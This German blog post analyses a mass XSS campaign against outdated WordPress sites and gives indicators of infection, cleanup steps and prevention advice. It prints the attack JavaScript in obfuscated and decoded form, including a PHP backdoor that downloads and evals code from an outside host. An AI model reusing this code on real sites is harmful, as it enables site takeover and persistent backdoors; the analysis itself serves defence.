WordPress Sicherheitslücke: Großangriff auf fast 900000 Systeme

WordPress gehackt

Durch eine oder mehrere XSS WordPress Sicherheitslücke(n) (Cross-Site Scripting) wurden knapp eine Million Systeme automatisiert angegriffen. Die meisten Angriffe verliefen annähernd gleich und wurden wahrscheinlich von einem einzelnen Akteur oder einer Gruppe ausgeführt. Betroffen waren WordPress Systeme und Plugins, bei denen es versäumt wurde Updates einzuspielen. Teilweise waren die Sicherheitslücken schon Bestandteil vorheriger Angriffe und bereits seit längerem gepatcht. Deshalb sollte das WordPress CMS, die Themes und Plugins grundsätzlich immer aktuell sein und ausreichend Backups bereitstehen. Der Angriff ist beispielhaft für eine Vielzahl von Angriffen auf nicht aktuelle Systeme mit bereits bekannten und gepatchten Sicherheitslücken.

Angegriffen wurden XSS Sicherheitslücken in älteren Versionen des WordPress CMS, in Plugins und Themes. Basierend auf einem eingeschleusten bösartigen Javascript-Code war es den Angreifern unter Anderem möglich die HOME-URL zu ändern, so dass Website-Besucher auf Seiten mit teilweise aggressiver Werbung oder nicht-schließbaren Popups umgeleitet wurden. Das Javascript nutzte dafür unbemerkt die Login-Session eines Administrators, auch um in einem zweiten Schritt weitere Nutzlasten nachzuladen und eine Hintertür mit PHP in den Header des Themes einzufügen.

Wie lief der Angriff ab?

Durch eine XSS-Sicherheitslücke wurde ein schädliches Javascript als Nutzlast (“Payload”) aus einer externen Quelle (URL) in das Theme der Webseite eingefügt in der Hoffnung, dass es früher oder später vom Browser eines Administrators ausgeführt wird. Normale Besucher der infizierten Webseite wurden auf fremde Seiten mit Werbe-Inhalten umgeleitet.

In frühen Versionen des Angriffs war die URL im Klartext des Codes vorhanden, bei späteren Versionen wurde die URL mit der Javascript Funktion String.fromCharCode verschleiert bzw. unlesbar gemacht. Mit einer Javascript Funktion check_adm() wurde vor Ausführung geprüft ob WordPress Anmelde-Cookies gesetzt sind, um danach eine weiteres Javascript als Payload nachzuladen. Eine Funktion make_theme() fügte die nachgeladene Payload als schädliche PHP-Hintertür in die Header-Datei des Themes ein.

Die zweite Payload war base64 codiert und somit ohne Decodierung nicht lesbar. Sie wurde temporär in einer Datei htht zwischengespeichert und ebenfalls in den Theme-Header aufgenommen damit sie vom Browser eines eingeloggten Administrators ausgeführt werden konnte. Sofort danach löschte das Script die temporäre Datei htht aus dem Dateisystem. So war es dem Angreifer möglich die Kontrolle über die Webseite dauerhaft zu behalten, da der der Angreifer die Möglichkeit hatte den extern geladenen Code beliebig zu ändern. Beispielsweise um eine Web-Shell zu installieren für einen Server & Dateisystemzugriff, um ein weiteres Administratorkonto im System anzulegen, Daten zu stehlen oder die gesamte Webseite zu löschen, … da gibt es viele Möglichkeiten.

Eine weitere Funktion der zweiten Payload war es, eine Variante des ursprünglichen Javascript-Angriffscodes in jede Javascript-Datei und jede .htm, .html, und .php Datei mit dem Dateinamen “index” einzufügen. Alle 6400 Sekunden wurde geprüft ob die Webseite noch infiziert ist und falls nicht wurden sämtliche Dateien neu infiziert. So etwas ist ein beliebter Mechanismus und macht eine Entfernung des Schadcodes schwer, da sich die Dateien ständig überprüfen und neu infizieren.

Codebeispiel für die initiale Payload

Original Code:

function check_adm() { document.cookie.indexOf("wp-settings") > -1 || document.cookie.indexOf("wp-admin") > -1 || document.cookie.indexOf("logged_in") > -1 ? make_theme_() : window.location.href.indexOf("wp-login.php") }

function make_theme() { var e = location.protocol + "//" + document.domain,
    n = e + "/wp-admin/theme-editor.php?file=header.php",
    t = e + "/wp-admin/admin-ajax.php",
    o = encodeURIComponent(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 108, 111, 98, 98, 121, 100, 101, 115, 105, 114, 101, 115, 46, 99, 111, 109, 47, 108, 111, 99, 97, 116, 105, 111, 110, 46, 106, 115, 63, 118, 61, 49, 39, 32, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62)),
    a = encodeURIComponent(String.fromCharCode(60, 63, 112, 104, 112, 32, 32, 36, 110, 50, 32, 61, 32, 34, 98, 97, 115, 101, 54, 52, 95, 100, 101, 99, 111, 100, 101, 34, 59, 32, 36, 99, 49, 32, 61, 32, 36, 110, 50, 40, 34, 97, 72, 82, 48, 99, 72, 77, 54, 76, 121, 57, 115, 98, 50, 74, 105, 101, 87, 82, 108, 99, 50, 108, 121, 90, 88, 77, 117, 89, 50, 57, 116, 76, 50, 52, 117, 100, 72, 104, 48, 34, 41, 59, 32, 36, 98, 32, 61, 32, 34, 115, 100, 102, 115, 100, 50, 51, 52, 34, 59, 32, 64, 102, 105, 108, 101, 95, 112, 117, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115, 40, 36, 98, 44, 34, 60, 63, 112, 104, 112, 32, 34, 46, 36, 110, 50, 40, 64, 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115, 40, 36, 99, 49, 41, 41, 41, 59, 32, 105, 110, 99, 108, 117, 100, 101, 40, 36, 98, 41, 59, 64, 117, 110, 108, 105, 110, 107, 40, 36, 98, 41, 59, 64, 101, 118, 97, 108, 40, 36, 110, 50, 40, 64, 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115, 40, 36, 99, 49, 41, 41, 41, 59, 32, 63, 62)),
    i = new XMLHttpRequest;
  i.onreadystatechange = function() { if (4 == this.readyState && 200 == this.status) { var n = this.responseText,
        i = /name="newcontent".*?[>]([\/\s\/\S]*?)<\/textarea/g.exec(n),
        d = /<option.*?value="(.*?)".*?selected/g.exec(n),
        p = /name="nonce"([ ]+)value="([^"]+)"/g.exec(n); if (null != i && null != d && null != p)
        if (-1 === i[1].indexOf(String.fromCharCode(115, 100, 102, 115, 100, 50, 51, 52))) { var r = document.createElement("textarea");
          r.innerHTML = i[1]; var c = a + o + encodeURIComponent(r.value),
            m = d[1],
            h = p[2],
            s = "nonce=" + encodeURIComponent(h) + "&_wp_http_referer=" + encodeURIComponent("/wp-admin/theme-editor.php?file=header.php") + "&theme=" + encodeURIComponent(m) + "&file=header.php&action=edit-theme-plugin-file&newcontent=" + c,
            f = new XMLHttpRequest;
          f.onreadystatechange = function() { 4 == this.readyState && this.status }, f.open("POST", t, !0), f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.send(s) } else { var l = new XMLHttpRequest;
          l.addEventListener("load", function() { this.responseText.indexOf("error-ptease-fix") }), l.open("GET", e + "/wp-content/themes/" + d[1] + "/header.php"), l.send() } } }, i.open("GET", n, !0), i.send() }

function reqListener() {} check_adm();

Entschlüsselter Code:

function check_adm() { document.cookie.indexOf("wp-settings") > -1 || document.cookie.indexOf("wp-admin") > -1 || document.cookie.indexOf("logged_in") > -1 ? make_theme_() : window.location.href.indexOf("wp-login.php") }
function make_theme() { var e = location.protocol + "//" + document.domain,
    n = e + "/wp-admin/theme-editor.php?file=header.php",
    t = e + "/wp-admin/admin-ajax.php",
    o = encodeURIComponent(<script src='***removed***' type='text/javascript'></script>),
    a = encodeURIComponent($n2 = "base64_decode"; $c1 = $n2("aHR0cHM6Ly9sb2JieWRlc2lyZXMuY29tL24udHh0"); $b = "sdfsd234"; @file_put_contents($b,"".$n2(@file_get_contents($c1))); include($b);@unlink($b);@eval($n2(@file_get_contents($c1)));),
    i = new XMLHttpRequest;
  i.onreadystatechange = function() { if (4 == this.readyState && 200 == this.status) { var n = this.responseText,
        i = /name="newcontent".*?[>]([\/\s\/\S]*?)<\/textarea/g.exec(n),
        d = /<option.*?value="(.*?)".*?selected/g.exec(n),
        p = /name="nonce"([ ]+)value="([^"]+)"/g.exec(n); if (null != i && null != d && null != p)
        if (-1 === i[1].indexOf(sdfsd234)) { var r = document.createElement("textarea");
          r.innerHTML = i[1]; var c = a + o + encodeURIComponent(r.value),
            m = d[1],
            h = p[2],
            s = "nonce=" + encodeURIComponent(h) + "&_wp_http_referer=" + encodeURIComponent("/wp-admin/theme-editor.php?file=header.php") + "&theme=" + encodeURIComponent(m) + "&file=header.php&action=edit-theme-plugin-file&newcontent=" + c,
            f = new XMLHttpRequest;
          f.onreadystatechange = function() { 4 == this.readyState && this.status }, f.open("POST", t, !0), f.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), f.send(s) } else { var l = new XMLHttpRequest;
          l.addEventListener("load", function() { this.responseText.indexOf("error-ptease-fix") }), l.open("GET", e + "/wp-content/themes/" + d[1] + "/header.php"), l.send() } } }, i.open("GET", n, !0), i.send() }
function reqListener() {} check_adm();

(die Codebeispiele sind durch kleine Änderungen unbrauchbar gemacht)

Indikatoren für eine Infektion über eine WordPress Sicherheitslücke

Die endgültige Nutzlast verwendet die Zeichenfolgen hjt689ig9 und trackstatisticsss um festzustellen ob die Dateien der Seite bereits infiziert sind. Zusätzlich wurde ein Zeitspempel in die Datei deubgs.log geschrieben (Schreibfehler im Dateinamen – eigentlich debug.log), der angibt wann die Webseite zuletzt auf eine Neuinfektion geprüft wurde. Daher sollte ein Vorkommen dieser Zeichenfolgen auf einer Webseite oder in den Logdateien als potentieller Indikator für eine Infektion angesehen werden.

Was tun wenn meine WordPress Webseite infiziert ist?

Ich habe infizierte Webseiten repariert und mit einigem Aufwand wiederhergestellt. Man kann versuchen die Dateien des Themes über einen FTP Zugang zu reparieren oder das Theme gleich neu installieren und einrichten. Das WordPress System sowie alle Plugins sollten über FTP gelöscht, neu installiert und eingerichtet werden. Mit vorhandenen Backups ist so etwas wesentlich einfacher. In diesem Fall spielt man ein nicht infiziertes Backup neu ein und macht gleich anschließend WordPress, Plugin und Theme Updates.

Was sollte man tun um einer WordPress Sicherheitslücke vorzubeugen?

Das Wichtigste ist das WordPress CMS regelmäßig zu Warten: alle Plugins und Themes auf dem neuesten Stand halten und zusätzlich ausreichend Backups der Dateien und der Datenbank zu haben. Und alle Plugins zu prüfen ob sie wirklich wichtig sind bzw. nicht benötigte Plugins sowie Themes zu löschen und nicht nur zu deaktivieren. Damit werden sie komplett aus dem Dateisystem entfernt. Die Mehrheit der Angriffe zielen auf WordPress Sicherheitslücken ab, die vor Monaten oder teilweise Jahren öffentlich bekannt und in neueren Versionen gepatcht wurden.

WordPress Support in 75233 Tiefenbronn

15 Jahre Erfahrung mit WordPress

 

Seit WordPress 1.2 (Mai 2004).

Hilfe bei Fehlern oder Problemen mit WordPress, Plugins, Themes, Widgets, Snippets und vielem mehr!

Du hast in Tom einen kompetenten Web-Developer mit umfangreichen Programmierkenntnissen als Ansprechpartner.

Tom hilft Dir schnell und unkompliziert!

Klicke auf das Chat-Symbol unten rechts oder hinterlasse eine Nachricht über das unten stehende Formular.

Sende Tom eine Email und er meldet sich bald möglichst

Versuche Dein Anliegen konkret zu beschreiben:


* Pflichtfelder

Telefonischer WordPress Support

Tom im Büro anrufen unter:

Telefon: +49 (0)7961 / 564237

(Festnetz; Kosten abhängig von Deinem Tarif)

Tom ist nicht immer telefonisch zu erreichen. Sende in dem Fall Deine Telefonnummer über das Kontaktformular .